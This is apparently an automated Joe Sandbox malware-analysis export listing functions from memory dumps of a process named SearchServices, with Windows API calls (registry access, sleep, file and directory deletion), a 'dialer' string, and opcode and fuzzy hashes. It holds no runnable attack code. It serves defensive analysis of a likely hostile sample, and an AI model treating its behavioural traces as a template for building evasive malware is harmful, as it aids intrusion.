Part of subcall function 00000264CC271628: RegOpenKeyExW.ADVAPI32 ref: 00000264CC271719
Part of subcall function 00000264CC271628: RegCloseKey.ADVAPI32 ref: 00000264CC271734
Part of subcall function 00000264CC271628: RegOpenKeyExW.ADVAPI32 ref: 00000264CC271754
Part of subcall function 00000264CC271628: RegCloseKey.ADVAPI32 ref: 00000264CC27176F
Part of subcall function 00000264CC271628: RegOpenKeyExW.ADVAPI32 ref: 00000264CC27178F
Part of subcall function 00000264CC271628: RegCloseKey.ADVAPI32 ref: 00000264CC2717AA
Part of subcall function 00000264CC271628: RegOpenKeyExW.ADVAPI32 ref: 00000264CC2717CA

Sleep.KERNEL32 ref: 00000264CC271AD7
SleepEx.KERNEL32 ref: 00000264CC271ADD

Part of subcall function 00000264CC271628: RegCloseKey.ADVAPI32 ref: 00000264CC2717E5
Part of subcall function 00000264CC271628: RegOpenKeyExW.ADVAPI32 ref: 00000264CC271805
Part of subcall function 00000264CC271628: RegCloseKey.ADVAPI32 ref: 00000264CC271820
Part of subcall function 00000264CC271628: RegOpenKeyExW.ADVAPI32 ref: 00000264CC271840
Part of subcall function 00000264CC271628: RegCloseKey.ADVAPI32 ref: 00000264CC27185B
Part of subcall function 00000264CC271628: RegOpenKeyExW.ADVAPI32 ref: 00000264CC27187B
Part of subcall function 00000264CC271628: RegCloseKey.ADVAPI32 ref: 00000264CC271896
Part of subcall function 00000264CC271628: RegCloseKey.ADVAPI32 ref: 00000264CC2718A0

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: cd1e2727e9e02931d6ec6d2c1f27448fbb537f0f92e0acb855a6dc6f4708f870
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: A031BD71A42641C1FB54BB26D6E93E923A4AF84BD0F0474239E8DC77F9EE26C651C310

Function 00007FF7287FB910 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF7287FB78D,?,?,00000000,00007FF7287FB842), ref: 00007FF7287FB97E
GetLastError.KERNEL32(?,?,?,00007FF7287FB78D,?,?,00000000,00007FF7287FB842), ref: 00007FF7287FB988

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: 3fd0f83af0628cda6e58ba1b17cfc613668cd8d43ebee099ac9aff2e4f27651a
Instruction ID: 9af8f47edf3dc7eb52095f2b5e5f57716709af269dae86d09db903a20f22774d
Opcode Fuzzy Hash: 3fd0f83af0628cda6e58ba1b17cfc613668cd8d43ebee099ac9aff2e4f27651a
Instruction Fuzzy Hash: 3C21D711B5864381FE90B7A29C80278D282DF78B94F984337DA2E473D5CE2DA8488B24

Function 00007FF7287FCEE4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF7287FD07D), ref: 00007FF7287FCF30
GetLastError.KERNEL32(?,?,?,?,?,00007FF7287FD07D), ref: 00007FF7287FCF3A

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 5a688e03e61d2ba522e05303caa220c229835d3c67e189c94220df843fa187e3
Instruction ID: 6ae4ae8a2de64bb11cfc1a4bdc5498e810643bd8551ba05dc43c07a2b90c2db3
Opcode Fuzzy Hash: 5a688e03e61d2ba522e05303caa220c229835d3c67e189c94220df843fa187e3
Instruction Fuzzy Hash: B311C862718A9141EA109B16EC04069F7A1FB98BF4FA44332EE7D4B7D9CF3DD0548B04

Function 00007FF7287F61EC Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7287F6101), ref: 00007FF7287F621F
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7287F6101), ref: 00007FF7287F6235

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 94d9743ddc59f1ec6d0c8066f19f46560215df41a9b86dc953b2c7251607b198
Instruction ID: c2cf6b8185aa91dbe6719474b19fadbaf0617b8982a9ff3eb9577daed378d6ce
Opcode Fuzzy Hash: 94d9743ddc59f1ec6d0c8066f19f46560215df41a9b86dc953b2c7251607b198
Instruction Fuzzy Hash: D711C47161C60281EB54AF41AC0013AF3B0FB94761F900236E6AD41AE9EF3DD054CF14

Function 00007FF7287FB700 Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF728803B72,?,?,?,00007FF728803BAF,?,?,00000000,00007FF728804075,?,?,00000000,00007FF728803FA7), ref: 00007FF7287FB716
GetLastError.KERNEL32(?,?,?,00007FF728803B72,?,?,?,00007FF728803BAF,?,?,00000000,00007FF728804075,?,?,00000000,00007FF728803FA7), ref: 00007FF7287FB720

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: c0904582055235206b637bb6fb630becad907d152bf6a94a3ba36ee294329771
Instruction ID: 7480c99807f137da7a569b49bbdb55fbcee176637353d8628e6bf33766b463ba
Opcode Fuzzy Hash: c0904582055235206b637bb6fb630becad907d152bf6a94a3ba36ee294329771
Instruction Fuzzy Hash: 81E04F10E5960242FF147BF29C94035D191CF68750FC84032C91D46391DE2E64999A39

Function 00000264CC273844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

StrCmpNIW.SHLWAPI ref: 00000264CC27385C

Strings

dialer, xrefs: 00000264CC273855

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: bf3596da6281096eff2911d438b2858612383f097e5a330786de7d9f2e092ec8
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 78D05E71B52346C6FB14AFA6C8ECAA02350AB04B44F886062C94005360DB2ACA8D9710

Function 00007FF7287F8ECC Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE ref: 00007FF7287F8ED0
GetLastError.KERNEL32 ref: 00007FF7287F8EDA

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID:
API String ID: 2018770650-0
Opcode ID: b1319888d58344e1d146038dbe51c945b0a95c66f9246088a0a26429922302e0
Instruction ID: 50f8a8d7548764bb36ca8c3f57d38f20c7ea971be431ea9267ee66a37fb76ecd
Opcode Fuzzy Hash: b1319888d58344e1d146038dbe51c945b0a95c66f9246088a0a26429922302e0
Instruction Fuzzy Hash: E2D0C914EA850381F6243BF24C85038D195EF68720FE10633C12A812E0DE6EA0994D2A

Function 00007FF7287F8648 Relevance: 3.0, APIs: 2, Instructions: 12COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNELBASE ref: 00007FF7287F864C
GetLastError.KERNEL32 ref: 00007FF7287F8656

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 37b4a7e4d00d01a0eafeac234b577e395ecf372998b901b949fd5718f631df3e
Instruction ID: c7bc8dd8c43fddf9943f457b2f05b278d76cb5b64ee976be687401ce70410cf3
Opcode Fuzzy Hash: 37b4a7e4d00d01a0eafeac234b577e395ecf372998b901b949fd5718f631df3e
Instruction Fuzzy Hash: 50D0C910F69543C5F6243BF64C45438E1A1EF69721FE00632C13E812D1DE6EA0598D2A

Function 00007FF7287E7F50 Relevance: 1.6, APIs: 1, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7287E8DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7287E2A9B), ref: 00007FF7287E8E1A

_findclose.LIBCMT ref: 00007FF7287E81A9

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ByteCharMultiWide_findclose
String ID:
API String ID: 2772937645-0
Opcode ID: 5c090acf361251766d305cac3795a7fd92be8d5984d8a4884605395e16dcc53a
Instruction ID: d2ec226d7014eccea0af2a36c758bfa22a33a388cbb78fff64e96f1c256678a5
Opcode Fuzzy Hash: 5c090acf361251766d305cac3795a7fd92be8d5984d8a4884605395e16dcc53a
Instruction Fuzzy Hash: 77719F52E18BC581E611DB2CD9052FDA360F7A9B4CF94E322DB9C12692EF39E2D5C704

Function 00007FF7287FCC5C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287FCC84

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1d9ce192a3da46ea8a65def934b56c452277ca90c934615c4cd3a21602e95038
Instruction ID: c1d3c11359b095fc84a6f8b3da6f1fdb7a4f74ce4b24b038774336fe91d823d6
Opcode Fuzzy Hash: 1d9ce192a3da46ea8a65def934b56c452277ca90c934615c4cd3a21602e95038
Instruction Fuzzy Hash: 8741E63295925143FA34ABA6AD4017DF7A0FBAA741F940132D68E837D1CF2EE402CF65

Function 00007FF7287E84C0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7287E856A

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: ab97b82d1f7609fbf98e405f3039f4ce1650b4d6aa6010d189f2bead0dc41e68
Instruction ID: 20a4e918b27edf06b62e4d7da044442bc5ea1b190d819cdb54716caa6f287e1f
Opcode Fuzzy Hash: ab97b82d1f7609fbf98e405f3039f4ce1650b4d6aa6010d189f2bead0dc41e68
Instruction Fuzzy Hash: 12219121B4869645EB50EA92AD047FAE641FF49BC4FC84433EE0D07786DE3EE001CA28

Function 00007FF7287FC6EC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287FC772

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9d46e4dc1c7706e1baa247f93764384ede75e9bcf433252d370e5f4900f7c3d5
Instruction ID: 0438c158b51d82d46ad3014478aa4b7ddd290a2ab1ae628294bd43ce882ddbca
Opcode Fuzzy Hash: 9d46e4dc1c7706e1baa247f93764384ede75e9bcf433252d370e5f4900f7c3d5
Instruction Fuzzy Hash: 5631B021A5865281F6117B96CC41378E650EBA8B91FD50237DA1D073D2CF7EA441CA78

Function 00007FF7287FA715 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7287FA743

Part of subcall function 00007FF7287FA83C: GetModuleHandleExW.KERNEL32 ref: 00007FF7287FA861
Part of subcall function 00007FF7287FA83C: GetProcAddress.KERNEL32 ref: 00007FF7287FA877
Part of subcall function 00007FF7287FA83C: FreeLibrary.KERNEL32 ref: 00007FF7287FA89E

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 9c0127de50016242ddc74074b6af7f5d0c7ecdfc40d630aae62ff1a96a90ed2f
Instruction ID: 0f16cf9b5d02a81e41a186024119f8f308a3130644e3e904613c14acfa5690b8
Opcode Fuzzy Hash: 9c0127de50016242ddc74074b6af7f5d0c7ecdfc40d630aae62ff1a96a90ed2f
Instruction Fuzzy Hash: 8A21A031A04A0189EB10AFA5CC806ACB7B0FB5831CF980636D61D06BE5DF39D455CBA4

Function 00007FF7287F69E4 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F6949

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: a12511eb413a20500788068782fa49ddb1fe92b02a1e7189881bce5d81ea64e9
Instruction ID: 71e90196cde04c845ebcdd06ce7cbf2e69b1d89214b21f4138bfe1b5dedcaaa5
Opcode Fuzzy Hash: a12511eb413a20500788068782fa49ddb1fe92b02a1e7189881bce5d81ea64e9
Instruction Fuzzy Hash: 02118A21A5D64281EA60FF929C01279D264EF79B80F944037EA8D57786CF3ED5109F64

Function 00007FF72880748C Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7288074AF

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 14b88cdde8f100e0c11df9c25968cfa6048feb9caeb9ba24198eb79990a08c61
Instruction ID: 4dff3b0c4b4f5e90150532fe7c0aba4b4a00b704cc6912f3eb18abfb0f4a7d39
Opcode Fuzzy Hash: 14b88cdde8f100e0c11df9c25968cfa6048feb9caeb9ba24198eb79990a08c61
Instruction Fuzzy Hash: B921C532A28A4246DB61AF18EC40379F7A0FB84B94F944236E66D476D9DF3ED8108F14

Function 00007FF7287F0CEC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F0D40

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cb4a28c9cfe68d4bf5caf65282be0dfe2d74942f75b7edef78e8fd4dc80d0569
Instruction ID: 0e34a628d77493014ad8580fea7adf1c8d25296e35bca7fbdd6d20f818428aa6
Opcode Fuzzy Hash: cb4a28c9cfe68d4bf5caf65282be0dfe2d74942f75b7edef78e8fd4dc80d0569
Instruction Fuzzy Hash: B301E521A4C74181EA14AB939C00079E695EF69FE0F884272DE6C17BCACF3DE0018B18

Function 00007FF7287F82D4 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F8312

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 429e4ff91632884dbfd59807356ed260fa29108cd8906d3b6e9196ad5ea12367
Instruction ID: d6020b517deb31fef38c48bf003097bac415b53aa5953ff4b539b17e2e5d6b7a
Opcode Fuzzy Hash: 429e4ff91632884dbfd59807356ed260fa29108cd8906d3b6e9196ad5ea12367
Instruction Fuzzy Hash: 3E016110E5D64241FA507BA75D4113DE590EF2C7A4FE80237E91D427DACF3EA4524A28

Function 00007FF7287FF948 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF7287FC196,?,?,?,00007FF7287FB35B,?,?,00000000,00007FF7287FB5F6), ref: 00007FF7287FF99D

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 83da86fcac40c5efe6be46efa8cccb7ed61db28345aee0e9c2556edc7e0339ef
Instruction ID: ab5ec75bcc0e5410db61bce079826b1949f6d649c5be090c9389c76735b56c0c
Opcode Fuzzy Hash: 83da86fcac40c5efe6be46efa8cccb7ed61db28345aee0e9c2556edc7e0339ef
Instruction Fuzzy Hash: 6DF0AF01B9A20391FE14B7E39C503B4C291DFBCB40FCC4032C90E86BD5DE1EA4918A3A

Function 00007FF7287FE3AC Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FF7287F1514,?,?,?,00007FF7287F2A26,?,?,?,?,?,00007FF7287F4019), ref: 00007FF7287FE3EA

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d8b55510c5610d80ab4c44b86d687719a9e038cf882b555fd49ed5282eff217e
